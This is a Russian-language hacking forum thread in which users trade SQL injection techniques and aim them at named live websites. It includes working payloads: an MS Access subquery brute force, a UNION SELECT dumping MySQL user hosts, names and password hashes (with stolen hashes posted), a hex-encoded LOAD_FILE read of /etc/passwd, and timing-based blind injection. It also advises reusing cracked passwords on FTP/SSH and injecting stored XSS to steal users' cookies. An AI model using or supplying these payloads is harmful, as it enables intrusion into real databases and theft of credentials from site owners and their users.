Как можно замутить иньекцию если стоит запрос $mysql_query="SELECT * FROM что-то ORDER BY".$_GET['sb']; ?
эх ошибаешься, ой ошибаешься... здесь можно замутить инъекцию, для этого обязательно должен быть вывод даннных на страницу, а дальше с помощью подзапросов, как говорит Dr.Z3r0, с помощью посимвольного брута, но это не всегда возможно
Гыыы я уже начал: вот описание подобной инъекции в движке рейтинга сайтов: http://forum.antichat.ru/thread51884.html еще наглядный пример инъекции после order by в движке статистики psychostat
ребята вот нашол плохую фильтрацию http://tien.ru/?p=7&GroupID=20' как дальше разрабатывать sql иньекцию, если можно на примере, заранее благодарен
плохо то, что это Microsoft Access и здесь нет возможности отбросить (закомментировать) часть запроса, даже %00 в данном случае фильтруется (покрайне мере неработает) для эксплуатации этой скули можно использовать подзапросы для этого надо подобрать название таблицы и соответственно название поля, вот пример рабочего подзапроса: Code: http://tien.ru/?p=7&GroupID=20') and (mid((select top 1 id from news),1,1)<'a если хочешь что-то получить из этой скули, подбирай имя таблицы с пользователями и соответственно колонки с полезной информацией
у меня при таком запросе http://www.aphoto.ru/news/news.php?nid=-23+union+select+1,2,mysql.user.password,4+from+mysql.user/* сайт выдаёт такие хеши: *0380AF57CC89BDDCEB2E4F020087C5660FB8467C *52868E15C27788B69F9716CF4C3762C430D7FA49 *1AEF7A19D6DE950A96EE5CCDD3388618C30C95E6 *7EBF4B5C89AA3609F2AD90A4D19046F30C15FF9B *7EF015DF6D56998DC460036F742293B666BCBDA4 у меня вопрос, какого типа эти хеши, на мд5 непохоже, и от чего они, как я могу их испольховать когда расшифрую
это хеши mysql5 использовать ты сможешь их для подключения к БД, только лучше сделать такой запрос: Code: http://www.aphoto.ru/news/news.php?nid=-23+union+select+1,2,concat(host,0x3a,user,0x3a,password),4+from+mysql.user/* и мы видим что с правами root можно подключится без пароля, но для этого нужен какой нибудь mysql клиент, на этом сервере, например phpMyAdmin но я советую попробовать их "расшифровать", т.к. иногда пароли от БД подходят и для других сервисов например ftp или ssh
а со своего компа не получиться подключиться? я пробовал выполнить команду LOAD_FILE('/etc/passwd') а у меня ошибку пишет, это значить я немогу записывать и читать файлы?
со своего компа ты не подключишься, LOAD_FILE('/etc/passwd') не прокатывает по двум причинам: 1)фильтрация кавычек (мэйджик квотс включен) 2)даже если закодировать /etc/passwd в hex (LOAD_FILE(0x2F6574632F706173737764)) у тебя нет файловых привелегий и читать и записывать файлы ты не сможешь
как это не ответил, я в http://forum.antichat.ru/thread51884.html этом посте помоему понятно описал использование инъекции в order by, а то что я дал линк, а не описание, это потому, что не вижу смысла в двух одинаковых постах на форуме
Ну допусти если это Mssql то ты можешь разделять запросы с помошью ; и вставить запрос например Update и изменить данные пользователя в БД например на ядовитый скрипт. т.о когда пользователь зайдет в свой профиль, сработает активная Xss и соответственно получишь куки пользователя на снифер
Чет универсального способа немогу придумать, ты хоть намекни, я понимаю, что при таком раскладе нужно составить условие при котром один из вариантов вызывает ошибку, а т.к. сначала происходит проверка синтаксиса то и этот вариант отпадает, еще есть вариант использования into outfile но это настолько специфично (зависит от настроек php и прав пользователя mysql) что я не рассматриваю это как вариант
mysql > SELECT * FROM `users` GROUP BY `name` and 1=if(ascii(1)=49,benchmark(99999,md5(char(1))),1 ) ->Показывает записи 0 - 0 (1 всего, Запрос занял 0.7272 сек) mysql > SELECT * FROM `users` GROUP BY `name` and 1=if(ascii(1)=48,benchmark(99999,md5(char(1))),1 ) ->Показывает записи 0 - 0 (1 всего, Запрос занял 0.0006 сек)